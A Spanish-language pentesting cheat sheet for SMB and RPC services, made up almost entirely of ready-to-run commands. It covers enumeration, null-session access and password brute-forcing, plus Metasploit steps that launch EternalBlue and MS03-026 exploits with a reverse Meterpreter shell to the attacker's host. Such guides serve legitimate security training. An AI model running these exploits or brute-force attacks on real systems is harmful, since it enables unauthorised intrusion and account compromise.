🔍Puertos - 139,445 SMB

🔍 Auditoría de Puertos 135,139/445 - SMB - RPC

Los puertos 139 y 445 son utilizados por el protocolo SMB (Server Message Block), que permite compartir archivos e impresoras en redes Windows. Debido a su importancia, es un objetivo frecuente en auditorías de seguridad.


Resumen de Herramientas y Técnicas SMB

Esta guía cubre las principales herramientas y técnicas para auditar servicios SMB/Samba en los puertos 135 y 445.

  1. Herramientas Principales

    • 🔍 smbclient y smbmap: Interacción con recursos compartidos

    • 🔧 rpcclient: Consultas RPC a servidores SMB

    • 🛠️ Nmap + Scripts NSE: Enumeración y detección de vulnerabilidades

    • 🔨 Metasploit: Módulos específicos para pruebas

  2. Proceso de Auditoría Recomendado

    1. Enumeración inicial con smbclient,smbmap,crackmapexec y Nmap

    2. Análisis de vulnerabilidades con scripts NSE

    3. Enumeración detallada con rpcclient

    4. Post-explotación y montaje de recursos

    5. Búsqueda de información sensible (en otro módulo)

🔹Herramientas esenciales para está auditoria:

  • Smbclient

  • Smbmap

  • rpcclient

  • Nmap

  • Crackmapexec

🔹Puertos importantes:

  • 135 (RPC)

  • 445 (SMB)

  • 137-139 (NetBIOS)

🔹Vulnerabilidades comunes:

  • EternalBlue

  • SMBGhost

  • PetitPotam

  • SMBleed


🕵️ Reconocimiento e identificación del Servicio SMB

Determinar la versión del servicio SMB es fundamental para detectar posibles vulnerabilidades. Podemos hacerlo de varias maneras:

🔹 Reconocimiento con Nmap

nmap -p 139,445 --script smb-os-discovery <ip_victima>
nmap -p 139,445 --script smb-protocols <ip_victima>
nmap -p 139,445 --script smb-security-mode <ip_victima>
nmap --script "smb-enum-*" -p445 <ip_victima> # Lanzar todos los scripts de reconocimiento.
nmap --script smb-enum-shares -p 139,445 <ip_victima> # Identificación de Recursos Compartidos
nmap --script smb-enum-users -p 139,445 <ip_victima> # Identificación de Recursos Compartidos

💡 Importante: SMBv1 es altamente vulnerable y puede ser explotado con herramientas como EternalBlue.

🔑 Uso de CrackMapExec para Enumeración de Usuarios y Recursos

crackmapexec smb <ip> # Realiza un escaneo básico de SMB en el host especificado.
crackmapexec smb <ip> -u '' -p '' --shares # Lista los recursos compartidos sin credenciales mediante una null session.
crackmapexec smb <ip> -u <usuario> -p <password> --shares # Lista los recursos compartidos proporcionando unas credenciales validas.
crackmapexec smb <ip> -u <usuario> -p <password> --users # Enumera los usuarios del sistema SMB del objetivo.
crackmapexec smb <ip> -u <usuario> -p <password> --groups # Lista los grupos de usuarios en la máquina SMB objetivo.
crackmapexec smb <ip> -u <username_wordlsit.txt> -p <'contraseña'> --continue-on-success # Probar para una lista de usuarios una misma contraseña.

Estos comando nos permite identificar la versión de SMB, recursos compartidos, usuarios y políticas de seguridad.

🔑 Uso de CrackMapExec para fuerza bruta

crackmapexec smb <ip> -u <username> -p <ruta_wordlist.txt> # Realizamos un ataque de fuerza bruta.

🔑 Uso de Smbclient y Smbmap para enumeración de usuarios y recursos

SMBMap y Smbclient permiten enumerar recursos compartidos y permisos.

smbclient -L <ip> -N # Intentamos listas los recursos compartidos con una null session.
smbmap -H <ip> # Realizamos el mismo escaneo que antes, pero esta vez no arrojará información de los permisos que tenemos para cada directorio.
smbclient //<ip>/<recurso> -N # Con este comando accederemos al recurso al que tengamos acceso.
smbmap -H <ip> -r <recurso> # Listamos el contenido del recurso al que apuntamos.
smbclient //<ip>/<recurso> -U <usuario>%<contraseña> # Listamos recursos con credenciales.
smbmap -H <ip> -u <usuario> -p <contraseña> -d <ominio> # Enumeración con credenciales
smbmap -R <carpeta> -H <ip> -A <archivo> -q # Descarga un archivo a tu maquina local.

💡 Comando útiles cuando consigues acceso:

dir # Listar contenido 
get <nombre_archivo> # Descargar archivo 
mget *.txt # Descarga múltiples archivos
put <nombre_archivo> # Subir archivo 
cd folder # Cambiar directorio

🔑 Uso de Metasploit para enumeración de usuarios y recursos

msfconsole -q
use auxiliary/scanner/smb/smb_version
set RHOSTS <ip_victima>
run

🔹Enumeración de Recursos Compartidos en SMB

masconsole -q
use auxiliary/scanner/smb/smb_enumshares 
set RHOSTS <ip_victima> 
run

🔹 Ataque EternalBlue (MS17-010) en SMB

msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue 
set RHOSTS <ip_victima> 
set LHOST <tu_ip> 
set LPORT 4444 
exploit

🔑 Enumeración con Enum4Linux

Enum4linux es una herramienta wrapper que utiliza las utilidades de Samba para enumerar información:

enum4linux -a <ip> # Enumeración completa.
enum4linux -U <ip> # Enumeración de usuarios.
enum4linux -u <usuario> -p <password> -S <ip> # Enumerar shares con autenticación
enum4linux -a -u "" -p "" <ip> # Enumerar con null session

🔍 Auditoría del Servicio RPC con RPCClient y Metasploit

El puerto 135 (RPC) es un servicio en sistemas Windows que permite la comunicación entre procesos distribuidos. Este puerto es clave en la administración remota.

🕵️ Reconocimiento del Servicio RPC (Puerto 135)

nmap -p 135 --script=rpcinfo <ip_victima> # Identificar versión rpc.

🔑 Enumeración del Servicio RPC con RPCClient

🔹 Conexión al Servicio RPC

rpcclient -U "" <ip_victima> # Sin credenciales.
rpcclient -U "<usuario>%<contraseña>" <ip_victima> # Con credenciales.
enumdomusers # Enumeración de Usuarios en el Sistema
querygroup # Obtener Información de los Grupos
querydominfo # Identificar el Nombre del Dominio
lsaenumsid # Obtener SID del Dominio

El comando rpcclient de Samba nos permite interactuar con el servicio RPC para extraer información sobre el sistema Windows.

🚀 Ataques al Servicio RPC con Metasploit

🔹Escaneo de Servicios RPC con Metasploit

msfconsole -q
use auxiliary/scanner/dcerpc/endpoint_mapper
set RHOSTS <ip_victima>
exploit

🎯 Explotación del Servicio RPC

use exploit/windows/dcerpc/ms03_026_dcom 
set RHOSTS <ip_victima> 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST <tu_ip> 
set LPORT 4444 
exploit

🛠️ Ataque de Fuerza Bruta en SMB con Hydra

Podemos utilizar Hydra para realizar ataques de fuerza bruta sobre SMB:

hydra -L <diccionario_usuarios.txt> -P <diccionario_passwords.txt> smb://<ip_victima>

Last updated